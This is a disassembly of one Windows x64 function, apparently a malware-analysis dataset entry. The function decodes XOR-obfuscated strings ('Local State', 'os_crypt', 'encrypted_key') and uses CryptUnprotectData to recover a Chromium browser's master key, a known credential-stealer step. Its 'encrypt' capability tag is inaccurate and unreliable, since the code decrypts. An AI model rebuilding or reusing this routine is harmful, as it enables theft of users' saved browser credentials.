Function at 0x1400eb330
Capabilities:
Encrypt data using dpapi

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x258]
sub rsp, 0x320
movaps xmmword [rax - 0x48], xmm6
movaps xmmword [rax - 0x58], xmm7
movaps xmmword [rax - 0x68], xmm8
movaps xmmword [rax - 0x78], xmm9
movaps xmmword [rax - 0x88], xmm10
movaps xmmword [rax - 0x98], xmm11
movaps xmmword [rax - 0xa8], xmm12
movaps xmmword [rax - 0xb8], xmm13
mov rax, qword [0x140159040]
xor rax, rsp
mov qword [rbp + 0x198], rax
mov rsi, r8
mov r14, rdx
mov eax, 0xd73c6a54
movd xmm6, eax
mov eax, 8
movd xmm0, eax
vpxor xmm1, xmm0, xmm6
movd eax, xmm1
mov byte [rbp + 0xe0], al
mov eax, 0x18
movd xmm0, eax
vpxor xmm1, xmm0, xmm6
movd eax, xmm1
mov byte [rbp + 0xe1], al
mov eax, 0x3b
movd xmm0, eax
vpxor xmm7, xmm0, xmm6
movd eax, xmm7
mov byte [rbp + 0xe2], al
mov eax, 0x37
movd xmm0, eax
vpxor xmm13, xmm0, xmm6
movd eax, xmm13
mov byte [rbp + 0xe3], al
mov eax, 0x35
movd xmm0, eax
vpxor xmm2, xmm0, xmm6
movd eax, xmm2
mov byte [rbp + 0xe4], al
mov eax, 0x38
movd xmm0, eax
vpxor xmm1, xmm0, xmm6
movd eax, xmm1
mov byte [rbp + 0xe5], al
mov eax, 0x74
movd xmm0, eax
vpxor xmm1, xmm0, xmm6
movd eax, xmm1
mov byte [rbp + 0xe6], al
mov eax, 7
movd xmm0, eax
vpxor xmm1, xmm0, xmm6
movd eax, xmm1
mov byte [rbp + 0xe7], al
mov ebx, 0x20
movd xmm0, ebx
vpxor xmm12, xmm0, xmm6
movd eax, xmm12
mov byte [rbp + 0xe8], al
movd eax, xmm2
mov byte [rbp + 0xe9], al
movd eax, xmm12
mov byte [rbp + 0xea], al
mov eax, 0x31
movd xmm0, eax
vpxor xmm11, xmm0, xmm6
movd eax, xmm11
mov byte [rbp + 0xeb], al
mov eax, 0x54
movd xmm0, eax
vpxor xmm1, xmm0, xmm6
movd r12d, xmm1
mov byte [rbp + 0xec], r12b
lea rax, [rbp + 0xe0]
mov r15, 0xffffffffffffffff
mov r8, r15
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400eb4d0
lea rdx, [rbp + 0xe0]
mov rcx, rsi
call fcn.1400d4b70
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp - 0x30]
call fcn.140124560
mov rdx, rsi
cmp qword [rsi + 0x18], 0xf
jbe 0x1400eb507
mov rdx, qword [rsi]
mov r8d, ebx
lea rcx, [rbp - 0x30]
call fcn.1400dc650
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x30], rax
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx - 0x34], edx
xorps xmm0, xmm0
movups xmmword [r14], xmm0
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
test byte [rbp + rcx - 0x20], 6
jne 0x1400ebc0a
mov r8d, 2
lea rcx, [rbp - 0x30]
call fcn.1400dac10
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x30]
call fcn.1400dab30
mov ebx, dword [rax + 8]
add ebx, dword [rax]
xor r8d, r8d
lea rcx, [rbp - 0x30]
call fcn.1400dac10
movsxd rdi, ebx
xorps xmm0, xmm0
movdqu xmmword [rbp + 0xf0], xmm0
xor r13d, r13d
mov qword [rbp + 0x100], r13
test ebx, ebx
je 0x1400eb613
movabs rax, 0x7fffffffffffffff
cmp rdi, rax
ja 0x1400ebce1
cmp rdi, 0x1000
jb 0x1400eb5e5
lea rcx, [rdi + 0x27]
cmp rcx, rdi
jbe 0x1400ebce7
call fcn.1400fc420
mov rcx, rax
test rax, rax
je 0x1400ebcdb
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1400eb5ed
mov rcx, rdi
call fcn.1400fc420
mov qword [rbp + 0xf0], rax
lea rbx, [rax + rdi]
mov qword [rbp + 0x100], rbx
mov r8, rdi
xor edx, edx
mov rcx, rax
call fcn.140124560
mov qword [rbp + 0xf8], rbx
mov r8, rdi
mov rdx, qword [rbp + 0xf0]
lea rcx, [rbp - 0x30]
call fcn.1400dae00
mov qword [rbp - 0x48], r13
xorps xmm0, xmm0
movups xmmword [rbp + 0x120], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x130], xmm1
mov rdx, qword [rbp + 0xf0]
mov r8, qword [rbp + 0xf8]
cmp rdx, r8
jne 0x1400eb666
mov qword [rbp + 0x138], 0xf
mov byte [rbp + 0x120], r13b
jmp 0x1400eb675
sub r8, rdx
lea rcx, [rbp + 0x120]
call fcn.1400d2010
lea r8, [rbp - 0x80]
lea rdx, [rbp + 0x120]
lea rcx, [rsp + 0x40]
call fcn.1400dd7e0
mov rbx, rax
movd eax, xmm7
mov byte [rbp + 0xe0], al
mov eax, 0x27
movd xmm0, eax
vpxor xmm1, xmm0, xmm6
movd eax, xmm1
mov byte [rbp + 0xe1], al
mov eax, 0xb
movd xmm0, eax
vpxor xmm8, xmm0, xmm6
movd eax, xmm8
mov byte [rbp + 0xe2], al
movd eax, xmm13
mov byte [rbp + 0xe3], al
mov eax, 0x26
movd xmm0, eax
vpxor xmm9, xmm0, xmm6
movd eax, xmm9
mov byte [rbp + 0xe4], al
mov eax, 0x2d
movd xmm0, eax
vpxor xmm7, xmm0, xmm6
movd eax, xmm7
mov byte [rbp + 0xe5], al
mov eax, 0x24
movd xmm0, eax
vpxor xmm10, xmm0, xmm6
movd eax, xmm10
mov byte [rbp + 0xe6], al
movd eax, xmm12
mov byte [rbp + 0xe7], al
mov byte [rbp + 0xe8], r12b
xorps xmm0, xmm0
movups xmmword [rbp + 0x160], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x170], xmm1
lea rax, [rbp + 0xe0]
mov r8, r15
nop dword [rax]
inc r8
cmp byte [rax + r8], r13b
jne 0x1400eb750
lea rdx, [rbp + 0xe0]
lea rcx, [rbp + 0x160]
call fcn.1400d2010
lea rdx, [rbp + 0x160]
mov rcx, rbx
call fcn.1400de790
mov rbx, rax
movd eax, xmm11
mov byte [rbp + 0xe0], al
mov eax, 0x3a
movd xmm0, eax
vpxor xmm1, xmm0, xmm6
movd eax, xmm1
mov byte [rbp + 0xe1], al
movd eax, xmm13
mov byte [rbp + 0xe2], al
movd eax, xmm9
mov byte [rbp + 0xe3], al
movd eax, xmm7
mov byte [rbp + 0xe4], al
movd eax, xmm10
mov byte [rbp + 0xe5], al
movd eax, xmm12
mov byte [rbp + 0xe6], al
movd eax, xmm11
mov byte [rbp + 0xe7], al
mov eax, 0x30
movd xmm0, eax
vpxor xmm1, xmm0, xmm6
movd eax, xmm1
mov byte [rbp + 0xe8], al
movd eax, xmm8
mov byte [rbp + 0xe9], al
mov eax, 0x3f
movd xmm0, eax
vpxor xmm1, xmm0, xmm6
movd eax, xmm1
mov byte [rbp + 0xea], al
movd eax, xmm11
mov byte [rbp + 0xeb], al
movd eax, xmm7
mov byte [rbp + 0xec], al
mov byte [rbp + 0xed], r12b
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x68], xmm1
lea rax, [rbp + 0xe0]
mov r8, r15
inc r8
cmp byte [rax + r8], r13b
jne 0x1400eb851
lea rdx, [rbp + 0xe0]
lea rcx, [rsp + 0x58]
call fcn.1400d2010
lea rdx, [rsp + 0x58]
mov rcx, rbx
call fcn.1400de790
xorps xmm0, xmm0
movups xmmword [rbp + 0x160], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x170], xmm1
cmp byte [rax], 3
jne 0x1400ebced
mov r8, qword [rax + 8]
mov rdx, r8
cmp qword [r8 + 0x18], 0xf
jbe 0x1400eb8a7
mov rdx, qword [r8]
mov r8, qword [r8 + 0x10]
lea rcx, [rbp + 0x160]
call fcn.1400d2010
nop
movzx edx, byte [rsp + 0x40]
lea rcx, [rsp + 0x48]
call fcn.1400dc800
nop
lea rcx, [rbp + 0x120]
call fcn.1400d1f60
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x108], xmm0
mov qword [rbp + 0x118], rax
lea rdx, [rbp + 0x160]
lea rcx, [rsp + 0x58]
call fcn.1400d1db0
mov rdx, rax
lea rcx, [rbp + 0x108]
call fcn.1400fb8e0
mov r8, qword [rbp + 0x110]
mov rdx, qword [rbp + 0x108]
lea rcx, [rbp + 0x120]
call fcn.1400dd900
xorps xmm0, xmm0
movups xmmword [rbp + 0x140], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x150], xmm1
mov rax, qword [rbp + 0x130]
cmp rax, 5
jb 0x1400ebd30
add rax, 0xfffffffffffffffb
cmp rax, 0xffffffffffffffff
cmovb r15, rax
lea rdx, [rbp + 0x120]
cmp qword [rbp + 0x138], 0xf
cmova rdx, qword [rbp + 0x120]
add rdx, 5
mov r8, r15
lea rcx, [rbp + 0x140]
call fcn.1400d2010
mov dword [rbp - 0x3c], r13d
mov eax, dword [rbp + 0x150]
mov dword [rbp - 0x40], eax
lea rax, [rbp + 0x140]
cmp qword [rbp + 0x158], 0xf
cmova rax, qword [rbp + 0x140]
mov qword [rbp - 0x38], rax
lea rcx, [rbp - 0x20]
call fcn.1400dc3b0
test rax, rax
jne 0x1400eb9e5
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
mov eax, 6
cmp qword [rbp + rcx + 0x18], 0
mov edx, 2
cmovne eax, edx
or eax, dword [rbp + rcx - 0x20]
and eax, 0x17
mov dword [rbp + rcx - 0x20], eax
mov edx, dword [rbp + rcx - 0x1c]
and edx, eax
jne 0x1400ebd36
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp - 0x40]
call qword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
je 0x1400ebb54
mov rcx, qword [r14 + 8]
call qword [sym.imp.KERNEL32.dll_LocalFree]
lea rcx, [rbp + 0x140]
call fcn.1400d1f60
lea rcx, [rbp + 0x120]
call fcn.1400d1f60
mov rcx, qword [rbp + 0x108]
test rcx, rcx
je 0x1400eba82
mov rdx, qword [rbp + 0x118]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400eba6b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400ebcdb
call fcn.1400fc76c
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x108], xmm0
mov qword [rbp + 0x118], r13
lea rcx, [rbp + 0x160]
call fcn.1400d1f60
mov rcx, qword [rbp + 0xf0]
test rcx, rcx
je 0x1400ebae0
mov rdx, qword [rbp + 0x100]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400ebac9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400ebcdb
call fcn.1400fc76c
xorps xmm0, xmm0
movdqu xmmword [rbp + 0xf0], xmm0
mov qword [rbp + 0x100], r13
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x30], rax
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx - 0x34], edx
lea rcx, [rbp - 0x20]
call fcn.1400daa00
mov rax, qword [rbp - 0x30]
movsxd rdx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp + rdx - 0x30], rax
mov rdx, qword [rbp - 0x30]
movsxd r8, dword [rdx + 4]
lea r9d, [r8 - 0x18]
mov dword [rbp + r8 - 0x34], r9d
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x80], rax
lea rcx, [rbp + 0x80]
call fcn.1400fe1b8
nop
jmp 0x1400ebc7e
lea rcx, [rbp + 0x140]
call fcn.1400d1f60
lea rcx, [rbp + 0x120]
call fcn.1400d1f60
mov rcx, qword [rbp + 0x108]
test rcx, rcx
je 0x1400ebbbe
mov rdx, qword [rbp + 0x118]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400ebba7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400ebcdb
call fcn.1400fc76c
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x108], xmm0
mov qword [rbp + 0x118], r13
lea rcx, [rbp + 0x160]
call fcn.1400d1f60
mov rcx, qword [rbp + 0xf0]
test rcx, rcx
je 0x1400ebc0a
mov rdx, qword [rbp + 0x100]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400ebc05
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400ebcdb
call fcn.1400fc76c
xorps xmm0, xmm0
movups xmmword [r14], xmm0
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x30], rax
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx - 0x34], edx
lea rcx, [rbp - 0x20]
call fcn.1400daa00
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x30], rax
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rbp + rcx - 0x34], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x80], rax
lea rcx, [rbp + 0x80]
call fcn.1400fe1b8
nop
mov rcx, rsi
call fcn.1400d1f60
mov rax, r14
mov rcx, qword [rbp + 0x198]
xor rcx, rsp
call fcn.1400fc160
lea r11, [rsp + 0x320]
mov rbx, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.140104a48
int3
call fcn.1400d2280
int3
call fcn.1400d1470
int3
mov rcx, rax
call fcn.1400df250
mov qword [rbp + 0xe0], rax
lea r8, [rbp + 0xe0]
lea rcx, [rsp + 0x58]
call fcn.1400e9880
mov r8, rax
lea rcx, [rbp + 0x160]
call fcn.1400e9940
lea rdx, [0x140157258]
lea rcx, [rbp + 0x160]
call fcn.140100278
int3
call fcn.1400d4c00
int3
test dl, 4
je 0x1400ebd44
lea rbx, str.ios_base::badbit_set
jmp 0x1400ebd59
test dl, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x40]
call fcn.1400d5da0
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x58]
call fcn.1400d6270
lea rdx, [0x140157380]
lea rcx, [rsp + 0x58]
call fcn.140100278
int3